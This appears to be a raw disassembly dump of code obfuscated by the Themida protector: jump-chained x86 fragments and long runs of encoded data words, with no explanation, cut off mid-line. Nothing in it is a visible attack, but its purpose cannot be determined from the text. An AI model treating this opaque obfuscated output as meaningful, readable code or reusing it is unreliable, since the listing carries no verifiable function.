47CB353h, 0E9D80054h, 42CCh, 5D74C681h dd 0F589DD10h, 8324348Bh, 0BA5204C4h, 232D6B51h, 22C55468h dd 0D3015B32h, 5DEB315Ah, 4C66F381h, 0EB8108F7h, 47543B2Eh dd 8108E3C1h, 4ECh, 242C8900h, 6B33ABBDh, 0E9EB290Ah, 8DBFh dd 9536FDB8h, 0A3B9517Eh, 31033406h, 0D0F759C8h, 5601E883h dd 5ECFA2BEh, 5EF03182h, 2B3DC781h, 0C70102ADh, 239BE9h db 0 ; --------------------------------------------------------------------------- loc_546641: ; CODE XREF: Themida_:0054AFAEj mov edx, [esp] add esp, 4 push 34FFh mov [esp], edx push edi mov edi, 664C30CAh or edi, 1CD16F24h jmp loc_54D687 ; --------------------------------------------------------------------------- dd 7605D8F7h, 3166E979h, 0C58158C5h, 1AFA9D88h, 0FF5DEB29h dd 30E92434h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54667B: ; CODE XREF: Themida_:00544410j mov esp, [esp] mov [esp], bx push ecx mov ecx, esp jmp loc_549A40 ; --------------------------------------------------------------------------- dw 0CD89h dd 95C18159h, 0E979F24Bh, 56E6h, 8904EC83h, 0D0892404h dd 0E9C78957h, 67EFh ; --------------------------------------------------------------------------- loc_5466A8: ; CODE XREF: Themida_:005512CCj push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx pop eax push 4416h mov [esp], ecx push ebx mov ebx, 64E2404Eh push ebp push ebx pop ebp push ebp pop ecx pop ebp jmp loc_54A933 ; --------------------------------------------------------------------------- loc_5466D0: ; CODE XREF: Themida_:00546DFEj xor edi, 5E3502DAh xor esi, edi jmp loc_54777A ; --------------------------------------------------------------------------- aRsa db 'RИAх',0 dw 8100h dd 4C1h, 10B36800h, 1C890000h, 4CC7BB24h, 0E3C10812h, 3EE95008h dd 5B000083h, 0BD55D701h, 644A2D64h, 2BE8ED81h, 86E95904h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546713: ; CODE XREF: Themida_:00556F0Dj push ecx mov ecx, 158B116Bh shl ecx, 8 push ebx jmp loc_54CEA2 ; --------------------------------------------------------------------------- dw 0DD29h dd 0E2C5815Bh, 0E9173B30h, 6E63h, 4C4815Ch, 0E9000000h dd 0DD70h dword_54673C dd 2474FF57h, 1A1DE904h, 6C680001h, 89000002h, 79E9240Ch ; DATA XREF: Themida_:005431C0o db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_546753: ; CODE XREF: Themida_:0054594Dj sub ecx, eax mov eax, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx jmp loc_546B4B ; --------------------------------------------------------------------------- loc_54676C: ; CODE XREF: Themida_:005440CCj shr ecx, 5 neg ecx sub ecx, 0FD22DFCEh add ebx, 1ED12D25h jmp loc_54CAF1 ; --------------------------------------------------------------------------- dw 7C01h dd 5E5F0424h, 6D7ABD55h, 0E58122EDh, 747E5CFEh, 5AC0F581h dd 0A4E90301h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54679F: ; CODE XREF: Themida_:0055580Dj mov edx, [esp] push ebp mov ebp, esp jmp loc_55019E ; --------------------------------------------------------------------------- dw 0EB81h dd 34D078C2h, 4C3835Dh, 31241C33h, 1C33241Ch, 0B205E924h dd 0ED810000h, 29E91A79h, 47E6E9h, 7C216800h, 8F540000h dd 0A1E92404h, 80FFFFD9h, 0E95A93C3h, 928Eh, 0C181E189h dd 4, 4EC81h, 14890000h, 46824h, 815A0000h, 202761E9h dd 7C18136h, 0E9080445h, 3DC3h, 81E28952h, 4C2h, 0D6ADE900h dd 7CE9FFFFh, 81FFFFCAh, 0FCE318C7h, 8BF90140h, 0E4E9243Ch dd 0B90000CDh, 175549ACh, 0CCA3C181h, 0CB01F893h, 0AFEB8159h dd 0E9683650h, 0FFFFF516h ; --------------------------------------------------------------------------- loc_546848: ; CODE XREF: Themida_:0054B69Bj add esp, 4 add esp, 4 push esi jmp loc_54801F ; --------------------------------------------------------------------------- dw 1489h dd 2E36BA24h, 0D131EF18h, 59CE015Ah, 4B850h, 0C6810000h dd 5EDA4858h, 4DB2E9h db 0 ; --------------------------------------------------------------------------- loc_546879: ; CODE XREF: Themida_:00548367j push 7D99h mov [esp], esi mov esi, 0 sub esi, 63D178E6h sub esi, ebp add esi, 63D178E6h jmp loc_54A628 ; --------------------------------------------------------------------------- loc_546899: ; CODE XREF: Themida_:005491B1j push 1102h mov [esp], edx mov edx, 50F1300Dh sub edx, 28733FEBh push ecx push edi push 5A8A3C43h jmp loc_54A52B ; --------------------------------------------------------------------------- dd 4C481h, 5CE90000h, 49FFFFEFh, 0B850D1F7h, 7205444Ah dd 50F72D40h, 0C1319A75h, 55F7E958h, 89500000h, 405E0h dd 4050000h, 87000000h, 34E92404h, 890000F6h, 46BE2434h dd 814F0006h, 0EB6FA0F6h, 0ACC68138h, 21DC58E3h, 2434FFF1h dd 4C4815Eh, 57000000h, 0FFECCFE9h, 81E689FFh, 4C6h, 4EE8300h dd 5C243487h, 1AD9E9h, 1C7F6800h, 6AE90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_546933: ; CODE XREF: Themida_:0054F5F3j mov edx, 756C61BCh or edi, edx jmp loc_5481F1 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0B6D6h, 31241433h, 0E1E92414h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546953: ; CODE XREF: Themida_:0054DB46j add edx, 0D69D9FA2h sub ebx, 5965456Ch jmp loc_546540 ; --------------------------------------------------------------------------- dword_546964 dd 8B2434FFh, 0C0E92404h, 0BB00004Eh, 52BB5705h, 0EB18E9h ; DATA XREF: Themida_:005431E4o db 0 byte_546979 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005430C8o aHjq db '$h╕Q',0 align 2 dw 3489h dd 81E68924h, 4ECh, 24148900h, 576E68h, 240C8900h, 0D803E9h dd 24248B00h, 9F7EE9h, 0E9F18700h, 0C6C8h, 2404895Ch, 0E9E18951h dd 51BBh, 0E9243487h, 3801h, 0E3D1E3D1h, 8DD2EB81h, 0AAE9D498h dd 0F600008Bh, 0E9EC30DDh, 5E61h ; --------------------------------------------------------------------------- loc_5469D8: ; CODE XREF: Themida_:00554355j push edx jmp loc_544663 ; --------------------------------------------------------------------------- dw 489h dd 5B95124h, 5152BB57h, 0C3815958h, 558D185Eh, 0BD55C329h dd 34685084h, 4F24B850h, 5DE957EFh, 81FFFFFCh, 0DB675EE9h dd 1B0DE981h, 0E5880000h, 8324048Bh, 885A04C4h, 885059E8h dd 58E388CCh, 8B66C188h, 0C4832404h, 0D05E902h, 0E95E0001h dd 2588h, 0D888EB88h, 4625E9h, 2EA8100h, 0E9261162h, 0FFFFF139h dd 0A74F05B9h, 0C1D9F714h, 0C18104E9h, 17ED6C5Ch, 0F76FF181h dd 0ED8126A2h, 310D7473h, 0C581CD01h, 310D7473h, 4EC8359h dd 0FF242C89h, 5D042474h, 0E924048Fh, 104ECh ; --------------------------------------------------------------------------- loc_546A80: ; CODE XREF: Themida_:005565FAj sub edx, 25FD102Fh jmp loc_54B26C ; --------------------------------------------------------------------------- db 42h dd 10CA8E9h db 0 byte_546A91 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005431FCo dd 0D259669Dh, 0E99C241Ch, 0FFFFC7FBh, 0C3815B54h, 4, 0E904EB83h dd 10ADCh, 5E5F5659h, 5F95E9h, 0EC835600h, 24148904h, 0CBA0E9h dd 4C38100h, 81000000h, 4EBh, 74FF5300h, 1C8B0424h, 4C48124h dd 8F000000h, 248B2404h, 241C8924h, 653BE954h, 0C890000h dd 0D5EBE924h, 0F2810000h, 0BED68C3Fh, 0E95AD589h, 0FFFFCCD2h dd 5F5FFD29h, 2375BB53h, 0ADE97526h, 81FFFFFEh, 4C4h, 2CD82800h dd 1C8B66B3h, 5558E924h, 0DE290000h, 2434875Bh, 2404895Ch dd 5467B5B8h, 68E9514Eh, 0C00000BCh, 0CCE903EDh, 29000024h dd 0C6E95DE8h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B4B: ; CODE XREF: Themida_:00546767j push eax push ecx jmp loc_5489C6 ; --------------------------------------------------------------------------- dw 0EF29h dd 83242C8Bh, 0C8904ECh, 81E18924h, 4C1h, 4C026800h, 0F3E90000h dd 0BD000088h, 34940B04h, 24148B55h, 4C481h, 565D0000h dd 2AEAE9h db 0 ; --------------------------------------------------------------------------- loc_546B85: ; CODE XREF: Themida_:00550082j push 3150h mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx mov cl, dl mov bh, cl jmp loc_54D931 ; --------------------------------------------------------------------------- dd 0F388CE88h, 6968595Ah, 0E900007Dh, 0FFFFFF32h, 42474FFh dd 8124148Bh, 4C4h, 24048F00h, 0E924248Bh, 0FFFFC6C7h ; --------------------------------------------------------------------------- loc_546BD4: ; CODE XREF: Themida_:0054783Ej xchg ebx, [esp] mov esp, [esp] xor [esp], eax jmp loc_54E96A ; --------------------------------------------------------------------------- loc_546BE2: ; CODE XREF: Themida_:00554B4Ej xor esi, 0FAA2D2A6h add edx, 23103F5Fh add edx, esi sub edx, 23103F5Fh pop esi add edx, 98D0AD9h add edx, ebx push eax mov eax, 14DC4282h jmp loc_54E874 ; --------------------------------------------------------------------------- loc_546C0A: ; CODE XREF: Themida_:0054A60Cj push bx jmp loc_554E4E ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0C6010000h, 1280EE81h, 9CE96E10h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546C27: ; CODE XREF: Themida_:0054B080j push eax mov eax, 4 sub ebp, 6C943F59h jmp loc_55585F ; --------------------------------------------------------------------------- dd 5C242C87h, 24048B66h, 8904EC83h, 9D68240Ch, 8900006Eh dd 1BE92424h, 0FF0000E6h, 0E9042474h, 0BCE9h, 685BD801h dd 0 dd 58240429h, 78BD5548h, 810FCF40h, 2F6018C5h, 904DE972h dd 0F3810000h, 0AD32D0BCh, 575BDD21h, 0FFD7B0E9h, 0D8015CFFh dd 0F0E5E9h, 0E0895000h, 405h, 4BD5500h, 0E9000000h, 7A92h dd 63B5F281h, 0D0892F77h, 58C2295Ah, 1CE4E9h db 0 ; --------------------------------------------------------------------------- loc_546CB5: ; CODE XREF: Themida_:00543307j pop esi jmp loc_54791B ; --------------------------------------------------------------------------- db 81h dd 6F64D8EFh, 0F96E964h, 8B5D0000h, 7DE92404h, 5C000068h dd 81E28952h, 4C2h, 4C28300h, 0FC5DE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546CE2: ; CODE XREF: Themida_:0054A198j push edx jmp loc_5502B4 ; --------------------------------------------------------------------------- loc_546CE8: ; CODE XREF: Themida_:00555975j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp jmp loc_556CE9 ; --------------------------------------------------------------------------- dw 0EA83h dd 24143304h, 33241431h, 895C2414h, 0E789243Ch, 1A2CBD55h dd 0ED8129AEh, 4EF44F19h, 63E9D5F7h, 810000CCh, 0F747C8F5h dd 0E9EA8922h, 8E26h ; --------------------------------------------------------------------------- loc_546D34: ; CODE XREF: Themida_:0054B6F0j mov [esp], ebx mov ebx, 11C45DDAh inc ebx inc ebx shl ebx, 3 add ebx, 138664E4h push edi mov edi, 1F976C9Ah jmp loc_5500BC ; --------------------------------------------------------------------------- word_546D52 dw 31ADh ; DATA XREF: Themida_:00543060o dd 8B5452D8h, 0C4832414h, 4BD5504h, 0E9000000h, 0FFFFE8A9h ; --------------------------------------------------------------------------- loc_546D68: ; CODE XREF: Themida_:0054EE5Cj add al, 73h jmp loc_555592 ; --------------------------------------------------------------------------- db 1 dd 0C8B850EFh, 2574ED2Eh, 1D045C5h, 1EB70540h, 25487402h dd 38127D7Fh, 0FFD0CEE9h, 5E5168FFh, 2C890000h, 4EC8324h dd 0BA241489h, 10CD5C85h, 8DE9DAF7h, 0E90000E2h, 0FFFFC4EFh dd 4C581h, 0C5830000h, 74FF5504h, 8F5D0424h, 0A9E92404h dd 0BE00004Dh, 21B7141Ah, 6E1AF681h, 0F0296057h, 0E9D0295Eh dd 2CBAh dword_546DD8 dd 24048B66h, 83E68956h, 6CE904ECh ; DATA XREF: Themida_:00543074o db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546DE7: ; CODE XREF: Themida_:0054ED79j add ebp, 4 push edi jmp loc_547438 ; --------------------------------------------------------------------------- loc_546DF3: ; CODE XREF: Themida_:005522C6j mov [esp], ecx mov ecx, 66E515B8h mov edi, ecx pop ecx jmp loc_5466D0 ; --------------------------------------------------------------------------- db 5Bh dd 0FC2AE953h, 0CB86FFFFh, 0CB30D1F6h, 0CB30D930h, 8B66D988h dd 0C481241Ch, 2, 0CDE980h, 0DAF659CAh, 0D3F6DA86h, 0EC81DA86h dd 4, 0B1240C89h, 59CA088Bh, 7944E9h db 0 ; --------------------------------------------------------------------------- loc_546E41: ; CODE XREF: Themida_:0054E6B0j pop edi push ebx jmp loc_547C1C ; --------------------------------------------------------------------------- loc_546E48: ; CODE XREF: Themida_:0054CCE2j pop edx add esi, 0EE48DA8Eh sub [edi+24h], esi mov esi, [esp] jmp loc_5459A4 ; --------------------------------------------------------------------------- aST db '[ИъБ',0 align 10h loc_546E60: ; CODE XREF: Themida_:00554EF8j pop esi shr ecx, 7 push esi push edi jmp loc_557649 ; --------------------------------------------------------------------------- loc_546E6B: ; CODE XREF: Themida_:00545EC8j pop dword ptr [esp] push esi push 4FA8h jmp loc_54B03E ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd offset dword_43B164+0B85h dd 59C82800h, 51B252h, 3F7AE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E8E: ; CODE XREF: Themida_:00553904j push ebx push edi mov edi, 717C746Eh mov ebx, 989EDF76h sub ebx, edi jmp loc_545C54 ; --------------------------------------------------------------------------- loc_546EA1: ; CODE XREF: Themida_:00556E70j add edi, 0CB4ECE96h xor ebp, edi mov edi, [esp] add esp, 4 not ebp xor ebp, 1F462BA9h push eax mov eax, ebp push eax push ebp mov ebp, 28086978h sub [esp+4], ebp pop ebp pop esi add esi, 28086978h pop eax mov ebp, [esp] add esp, 4 add esi, 3144D54h jmp loc_54996B ; --------------------------------------------------------------------------- dw 535Dh dd 0DFE118BBh, 4E7FE9C1h, 0FF510000h, 59042474h, 0E924048Fh dd 8DD9h, 0E994C380h, 0FFFFF1B3h, 0F713C681h, 0F729FC6Ch dd 243C335Eh, 0E9243C31h, 0FFFFE5B0h, 0BF243C89h, 396120F3h dd 47BCBE56h, 0F7014BC5h, 68D7F75Eh, 844h, 83240C89h, 248904ECh dd 0BF92E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F3E: ; CODE XREF: Themida_:00557702j push esi mov esi, 3B6C4444h jmp loc_545952 ; --------------------------------------------------------------------------- db 68h, 6, 14h dd 34890000h, 1643BE24h, 74296DD5h, 44E90824h, 8B000071h dd 0C892424h, 0C331E924h db 2 dup(0FFh) word_546F6A dw 34FFh ; DATA XREF: Themida_:00543114o dd 2434FF24h, 4C48358h, 100868h, 243C8900h, 76F468h, 24248900h dd 4240481h, 0FF000000h, 815F2434h, 4C4h, 19BB5300h, 81342506h dd 250615EBh, 0E305E934h, 0C483FFFFh, 8F67E904h, 0C6010000h dd 1B0C681h, 23E91A71h, 0Eh, 0F5305BDEh, 65AE9h db 0 ; --------------------------------------------------------------------------- loc_546FC5: ; CODE XREF: Themida_:005508A8j sub ecx, 4 xor ecx, [esp] jmp loc_55603D ; --------------------------------------------------------------------------- dd 5E29BA58h, 0C2312656h, 5124048Bh, 0C181E189h, 4, 1E3CE9h dd 5AD03100h, 0E958C789h, 0A0A5h ; --------------------------------------------------------------------------- loc_546FF4: ; CODE XREF: Themida_:00547D68j push eax push ecx mov ecx, 56E96F39h mov eax, 0A91690CBh add eax, ecx pop ecx add edx, eax mov eax, [esp] jmp loc_554751 ; --------------------------------------------------------------------------- byte_54700D db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:00542FE4o dd 4EC8102h, 89000000h, 0FAE9241Ch db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54701F: ; CODE XREF: Themida_:00548E97j add esi, edi jmp loc_548058 ; --------------------------------------------------------------------------- loc_547026: ; CODE XREF: Themida_:0054F1E5j not ecx push esi push 7F21696Eh pop esi not esi xor esi, 9104AC25h and ecx, esi pop esi jmp loc_543A66 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0E904C483h, 25FEh, 0E95BDE21h, 0E85Ch dd 0E901C780h, 6521h, 56B2BD55h, 0EE015823h, 243C8B5Dh dd 4C481h, 0C6810000h, 2, 5C243487h, 0E99CC884h, 8FD0h dd 0BA52FD87h, 36DD0C1Ah, 814ADAF7h, 4163B5E2h, 7E2C15Eh dd 0EC15E9h, 4C48100h, 81000000h, 4C7h, 243C3300h, 33243C31h dd 0FF5C243Ch, 34FF2434h, 24048B24h, 4C481h, 9B680000h dd 8900000Ch, 0EC81240Ch, 4, 8932E9h db 0 ; --------------------------------------------------------------------------- loc_5470D5: ; CODE XREF: Themida_:0054BDB7j add esp, 4 xor ebp, 0B9E57EEBh add esi, ebp mov ebp, [esp] add esp, 4 xor esi, [esp] jmp loc_54BDBC ; --------------------------------------------------------------------------- loc_5470EE: ; CODE XREF: Themida_:00556131j mov [esp], ebx jmp loc_550602 ; --------------------------------------------------------------------------- dw 0D2F7h dd 2B6AB951h, 0CA3174E1h, 81DAF759h, 0B7EDA8C2h, 8BD62198h dd 0C4832414h, 3215E904h db 2 dup(0) word_547116 dw 77FFh ; DATA XREF: Themida_:00542FD0o dd 59669D1Ch, 2414D366h, 0F6F4E99Ch db 2 dup(0FFh) word_547126 dw 0B568h ; DATA XREF: Themida_:00543238o dd 6800001Fh, 2A59h, 10E0FE9h, 0B4CF8000h, 0FE07E7C0h dd 7EEF80C7h, 1C8BFC88h, 4C48324h, 0FFCDC0E9h, 19E952FFh dd 810000AFh, 8E1715C9h, 9B1BE95Fh, 0ED810000h, 73CE53D1h dd 6E0F581h, 81451FCEh, 0C2E05FEDh, 0E9E80171h, 2C6Ch dd 0D04C483h, 20AA0BDCh, 0CA20DC25h, 1CC96806h, 14890000h dd 142E924h, 0BE560001h, 2, 7F2EE9h, 24248900h, 3F5BE9h db 0 ; --------------------------------------------------------------------------- loc_5471A5: ; CODE XREF: Themida_:00545A54j pop esi push eax mov eax, 54B00EB9h jmp loc_545B56 ; --------------------------------------------------------------------------- loc_5471B1: ; CODE XREF: Themida_:00556E69j mov ebx, [esp] jmp loc_54EBC3 ; --------------------------------------------------------------------------- byte_5471B9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00543094o dd 8B2434FFh, 0C4812404h, 4, 5104C483h, 79E9E189h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471D3: ; CODE XREF: Themida_:0054BAEAj sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] pop edx jmp loc_54DC4E ; --------------------------------------------------------------------------- loc_5471F3: ; CODE XREF: Themida_:00546445j push ebp push 5163019Ah pop ebp inc ebp and ebp, 554C2216h dec ebp sub ebp, 1A267232h xor ebp, 8899D12h add ebx, ebp push dword ptr [esp] pop ebp jmp loc_553139 ; --------------------------------------------------------------------------- loc_547219: ; CODE XREF: Themida_:00557007j add esi, 0B89989C0h add ebx, esi mov esi, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5443FD ; --------------------------------------------------------------------------- loc_54723B: ; CODE XREF: Themida_:00547BE1j add esi, 4 jmp loc_54B3CF ; --------------------------------------------------------------------------- dw 489h dd 69ECB824h, 0D0F719E5h, 0E569F105h, 8BC70119h, 65E92404h dd 0B80000C7h, 4, 48BC789h, 4C48324h, 3C8BF901h, 8B545224h dd 0C4812414h, 4, 4C281h, 0D0E90000h, 4000001Ch, 0B42CE9h dd 3C8B5400h, 0E3895324h, 4C381h, 0C3830000h, 0BBA1E904h dd 4BB0000h, 81000000h, 106E73E9h, 0E9D9010Fh, 4C57h, 0E924148Bh dd 700Bh, 0D7E9F32Ch, 5200008Ch, 89519BB6h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 2404895Ch, 0D8F604B0h, 0FFD927E9h db 0FFh ; --------------------------------------------------------------------------- loc_5472E5: ; CODE XREF: Themida_:00557994j push edx mov edx, 205F2B44h push edi mov edi, 6D0043D1h jmp loc_54B314 ; --------------------------------------------------------------------------- dw 535Eh dd 776C41BBh, 0FD4EE973h, 1368FFFFh, 8900002Ah, 0C4E9242Ch dd 8BFFFFD0h, 7DE9240Ch, 0FF00005Fh, 5F042474h, 5C24048Fh dd 0E9E68956h, 193Eh ; --------------------------------------------------------------------------- loc_547328: ; CODE XREF: Themida_:00549C77j mov ebx, 61820B65h shl ebx, 8 sub ebx, 33745106h push 6743h mov [esp], esi mov esi, 6B6602FEh and esi, 516C27EEh sub esi, 43E90B7Dh add esi, 50A5860Eh xor ebx, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_556D8F ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 0C2E9F729h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547373: ; CODE XREF: Themida_:0054B4F7j mov ecx, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, ecx mov ebx, edi pop edi mov ecx, [esp] jmp loc_555CD5 ; --------------------------------------------------------------------------- loc_547399: ; CODE XREF: Themida_:0054C7ECj mov dl, 0C5h add dl, 8Ch jmp loc_54D322 ; --------------------------------------------------------------------------- db 5Dh dd 4BE56h, 0F7010000h, 7CCCE9h, 242C8700h, 5954515Ch, 4C181h dd 0C1830000h, 240C8704h, 5817E95Ch, 875C0000h, 248B2434h dd 0B264E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5473D6: ; CODE XREF: Themida_:0054E3DCj pop edx sub [edi+24h], ecx pop ecx jmp loc_557294 ; --------------------------------------------------------------------------- dd 2DED8145h, 31366044h, 801E9E9h, 81680001h, 89000030h dd 7CE9242Ch, 520000F8h, 0E2D08CB2h, 0C24EE9h, 24048F00h dd 111CE952h, 815A0000h, 4ECh, 0B30FE900h, 0C3810000h dd 4, 8704EB83h, 0D1E9241Ch db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54742B: ; CODE XREF: Themida_:00543E38j add edi, esi mov esi, [esp] add esp, 4 jmp loc_55334C ; --------------------------------------------------------------------------- loc_547438: ; CODE XREF: Themida_:00546DEEj push 7EB1h mov [esp], ebx mov ebx, 673D7041h add ebx, 53615700h jmp loc_555F94 ; --------------------------------------------------------------------------- dd 89240489h, 405E0h, 0BF570000h, 4, 5409F52Dh, 5F82921h dd 215409F5h, 8B2434FFh, 0C483243Ch, 5F545704h, 754BE9h dd 4C48300h, 0E9240C8Bh, 414Fh, 5C241C33h, 6168F9F7h, 89000048h dd 9C502414h, 745BE9h, 4EC8100h, 89000000h, 0B1512414h dd 1C1805Ch, 0E92CE980h, 10A77h, 4246C81h, 5A9F3BEFh, 4246C81h dd 0D164595h, 8B2434FFh, 0C4812434h, 4, 0E904C483h, 0FFFFBDC3h dd 592414F6h, 0E980D9F6h, 0FFC8301Fh, 0E9592434h, 0F4FBh dd 54241C89h, 4B8505Bh, 0E9000000h, 0AE3Fh ; --------------------------------------------------------------------------- loc_5474FC: ; CODE XREF: Themida_:0055818Ej sub edx, 0FB65C31Dh and ecx, edx jmp loc_557792 ; --------------------------------------------------------------------------- loc_547509: ; CODE XREF: Themida_:00544BFDj push edx mov dl, al mov bh, dl pop edx push eax mov al, bh push ebx mov bl, al mov dl, bl pop ebx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push ebx jmp loc_5439CA ; --------------------------------------------------------------------------- dd 83240C8Bh, 0F18104C4h, 52916B6Fh, 19AE68h, 0CD9EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54755A: ; CODE XREF: Themida_:00556C48j mov edi, [esp] add esp, 4 push ebx mov ebx, 416C27A8h jmp loc_5524AE ; --------------------------------------------------------------------------- loc_54756E: ; CODE XREF: Themida_:00544051j pop edi add ebx, esi jmp loc_5562F4 ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 491568h, 243C8900h, 0A4E8E9h, 240C8B00h dd 4C481h, 8B660000h, 0E8E92414h, 890000B0h, 0BB53242Ch dd 4, 525BDD89h, 9605BBBAh, 81DAF77Bh, 0B07D17EAh, 0BF575650h dd 2A8E5E6Eh, 95FFE89h, 0C2E4E9F2h db 2 dup(0FFh) word_5475C6 dw 8B66h ; DATA XREF: Themida_:00543168o dd 0AB68240Ch, 89000031h, 0DAE9242Ch db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5475D7: ; CODE XREF: Themida_:0054337Bj pop ecx xchg ebx, [esp] mov esp, [esp] and eax, esi push dword ptr [esp] pop esi push ecx mov ecx, esp push ebx mov ebx, 61A4BC0h jmp loc_54895C ; --------------------------------------------------------------------------- loc_5475F2: ; CODE XREF: Themida_:00553FC5j push 6A2Eh mov [esp], eax push ebx push esp pop ebx add ebx, 4 push edi jmp loc_552A46 ; --------------------------------------------------------------------------- db 5Ah, 50h, 0E9h dd 485h, 4BF5759h, 1000000h, 0BCE95FF8h, 5A00006Bh, 0DE04B904h dd 0DE2CE800h, 0A3F6E9h db 0 ; --------------------------------------------------------------------------- loc_54762D: ; CODE XREF: Themida_:005459AFj mov eax, [esp] jmp loc_557E22 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 8104C483h, 8C62DAE3h, 0F8BF5704h, 501A6033h, 0E33037B8h dd 7CB95109h, 0E9430F2Dh, 0FFFFDAEFh, 8356E389h, 0C8904ECh dd 21C6824h, 81595136h, 9537FDF1h, 33E9813Ah, 5321F300h dd 0FDD305BBh, 0A983E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54767E: ; CODE XREF: Themida_:0054ED80j sub ch, 0BAh sub ch, al add ch, 0BAh push dword ptr [esp] jmp loc_54CEEC ; --------------------------------------------------------------------------- loc_54768E: ; CODE XREF: Themida_:0054C370j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_54495A ; --------------------------------------------------------------------------- dw 0BF57h dd 779F7217h, 0E947DFF7h, 0FFFFF60Bh ; --------------------------------------------------------------------------- loc_5476B0: ; CODE XREF: Themida_:005583D5j sub eax, 0DFCAAEDEh add edx, eax pop eax sub eax, edx mov edx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4 and ecx, ebp jmp loc_54A395 ; --------------------------------------------------------------------------- aN1Vssu db '╜1ьVИSu',0 ; DATA XREF: Themida_:00543098o dd 0B8505B00h, 359B778Dh, 0C8B9BD55h, 0E8013947h, 598CE9h db 0 ; --------------------------------------------------------------------------- loc_5476F5: ; CODE XREF: Themida_:005453DFj sub edx, ebx pop ebx jmp loc_55115B ; --------------------------------------------------------------------------- db 1, 0CEh, 8Bh dd 0FFE9240Ch db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_547707: ; CODE XREF: Themida_:00556BBBj push dword ptr [esp] jmp loc_54B689 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 44E904C3h, 5B000074h, 542BE9h db 0 ; --------------------------------------------------------------------------- loc_547725: ; CODE XREF: Themida_:00556B2Fj sub esi, 6BA137ADh pop ecx and eax, esi mov esi, [esp] add esp, 4 jmp loc_54DFAD ; --------------------------------------------------------------------------- loc_54773C: ; CODE XREF: Themida_:0054368Dj pop edi sub ecx, 14FC1E5Fh jmp loc_549038 ; --------------------------------------------------------------------------- aBN5Huq db '│ц╜5ю',0Dh,'hЦQ',0 dw 8900h dd 3268240Ch, 8B51C776h, 0C481240Ch, 4, 281CB951h, 0CB01617Dh dd 94C38159h, 2932B844h, 9B98E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54777A: ; CODE XREF: Themida_:005466D8j mov edi, [esp] add esp, 4 add esi, 6F963E48h sub esi, 8D01C9E3h add ebx, esi jmp loc_547CE5 ; --------------------------------------------------------------------------- dw 5B66h dd 34FFD030h, 77E95A24h db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5477A3: ; CODE XREF: Themida_:00557456j or esi, 26421558h sub esi, 36384982h add esi, 26C13404h sub esi, 176C01F9h add ebp, esi pop esi add ebp, 4 jmp loc_5572A2 ; --------------------------------------------------------------------------- dw 5CB8h dd 0E9141845h, 4697h, 33171A35h, 4E9C2D11h, 8C6828E6h dd 89000056h, 5BB9240Ch, 0E93BAF18h, 5B51h, 4C4815Ah, 0E9000000h dd 64BAh, 31243433h, 0D4E92434h, 8BFFFFE8h, 0C4832404h dd 0F6E95604h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54780F: ; CODE XREF: Themida_:0054CAE3j pop esp jmp loc_553FBC ; --------------------------------------------------------------------------- db 81h, 0C1h, 0B3h dd 0E96E6717h, 2D9Fh, 4C181h, 0F6E90000h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54782B: ; CODE XREF: Themida_:00550F7Fj push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 add esp, 4 jmp loc_546BD4 ; --------------------------------------------------------------------------- db 50h dd 24048B5Dh, 4C481h, 0BE560000h, 6DD258FCh, 835EF509h dd 3C8904ECh, 